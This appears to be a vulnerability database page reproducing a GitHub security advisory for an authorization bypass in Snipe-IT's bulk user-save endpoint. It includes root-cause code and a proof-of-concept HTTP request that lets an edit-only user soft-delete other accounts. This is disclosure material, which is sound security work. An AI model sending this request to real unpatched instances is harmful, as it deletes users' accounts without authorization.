GHSA-VGX7-C78R-69W9

Vulnerability from github – Published: 2026-08-28 17:48 – Updated: 2026-08-28 17:48
VLAI
Summary
Snipe-IT has an authorization bypass on bulk editing users
Details

Impact

An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.

Attacker Model

Authenticated non-admin user with:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1","users.edit":"1"}


The attacker does not have `users.delete`, `admin`, or `superuser`.

### Affected Component

-   `routes/web/users.php`

-   `app/Http/Controllers/Users/BulkUsersController.php`

-   Endpoint: `POST /users/bulksave`

### Root Cause

The UI only exposes bulk delete to users with `delete` permission:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php
@can('delete', \App\Models\User::class)
    <option value="delete">...</option>
    <option value="merge">...</option>
@endcan

The confirmation path also checks delete:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php } elseif ($request->input('bulk_actions') == 'delete') { $this->authorize('delete', User::class);


However, the destructive route is registered separately:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php
Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
    ->name('users/bulksave');

and destroy() authorizes only update:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php public function destroy(Request $request) { $this->authorize('update', User::class);


When `delete_user=1` is present, the method reaches:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php
$user->delete();

Proof of Concept

  1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.

  2. Create a harmless non-admin target user.

  3. Log in as the attacker and obtain a valid CSRF token.

  4. Send:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http POST /users/bulksave HTTP/1.1 Host: Cookie: snipeit_session= Content-Type: application/x-www-form-urlencoded

_token= ids[]= delete_user=1 status_id=


Observed response:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http
HTTP/1.1 302 Found
Location: http://<snipe-it-host>/users

Patches

Patched in 374f426f0c

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.6.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "snipe/snipe-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:48:36Z",
    "nvd_published_at": "2026-07-10T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAn authenticated non-admin user with `users.view` and `users.edit`, but without `users.delete`, can directly POST to `/users/bulksave` and soft-delete another non-admin user. The UI and confirmation route require `users.delete`, but the destructive sink only authorizes `update`.\n\n### Attacker Model\n\nAuthenticated non-admin user with:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json\n{\"users.view\":\"1\",\"users.edit\":\"1\"}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe attacker does not have `users.delete`, `admin`, or `superuser`.\n\n### Affected Component\n\n-   `routes/web/users.php`\n\n-   `app/Http/Controllers/Users/BulkUsersController.php`\n\n-   Endpoint: `POST /users/bulksave`\n\n### Root Cause\n\nThe UI only exposes bulk delete to users with `delete` permission:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n@can(\u0027delete\u0027, \\App\\Models\\User::class)\n    \u003coption value=\"delete\"\u003e...\u003c/option\u003e\n    \u003coption value=\"merge\"\u003e...\u003c/option\u003e\n@endcan\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe confirmation path also checks `delete`:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n} elseif ($request-\u003einput(\u0027bulk_actions\u0027) == \u0027delete\u0027) {\n    $this-\u003eauthorize(\u0027delete\u0027, User::class);\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nHowever, the destructive route is registered separately:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\nRoute::post(\u0027bulksave\u0027, [Users\\BulkUsersController::class, \u0027destroy\u0027])\n    -\u003ename(\u0027users/bulksave\u0027);\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nand `destroy()` authorizes only `update`:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\npublic function destroy(Request $request)\n{\n    $this-\u003eauthorize(\u0027update\u0027, User::class);\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen `delete_user=1` is present, the method reaches:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n$user-\u003edelete();\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n### Proof of Concept\n\n1.  Create a non-admin attacker account with `users.view` and `users.edit`, but not `users.delete`.\n\n2.  Create a harmless non-admin target user.\n\n3.  Log in as the attacker and obtain a valid CSRF token.\n\n4.  Send:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http\nPOST /users/bulksave HTTP/1.1\nHost: \u003csnipe-it-host\u003e\nCookie: snipeit_session=\u003cattacker-session\u003e\nContent-Type: application/x-www-form-urlencoded\n\n_token=\u003ccsrf-token\u003e\nids[]=\u003ctarget-user-id\u003e\ndelete_user=1\nstatus_id=\u003cvalid-status-id\u003e\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nObserved response:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http\nHTTP/1.1 302 Found\nLocation: http://\u003csnipe-it-host\u003e/users\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n### Patches\nPatched in 374f426f0c",
  "id": "GHSA-vgx7-c78r-69w9",
  "modified": "2026-08-28T17:48:36Z",
  "published": "2026-08-28T17:48:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-vgx7-c78r-69w9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55460"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/commit/374f426f0c6bb7a4f129f7b85051cc1da753a0f5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grokability/snipe-it"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/releases/tag/v8.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Snipe-IT has an authorization bypass on bulk editing users"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…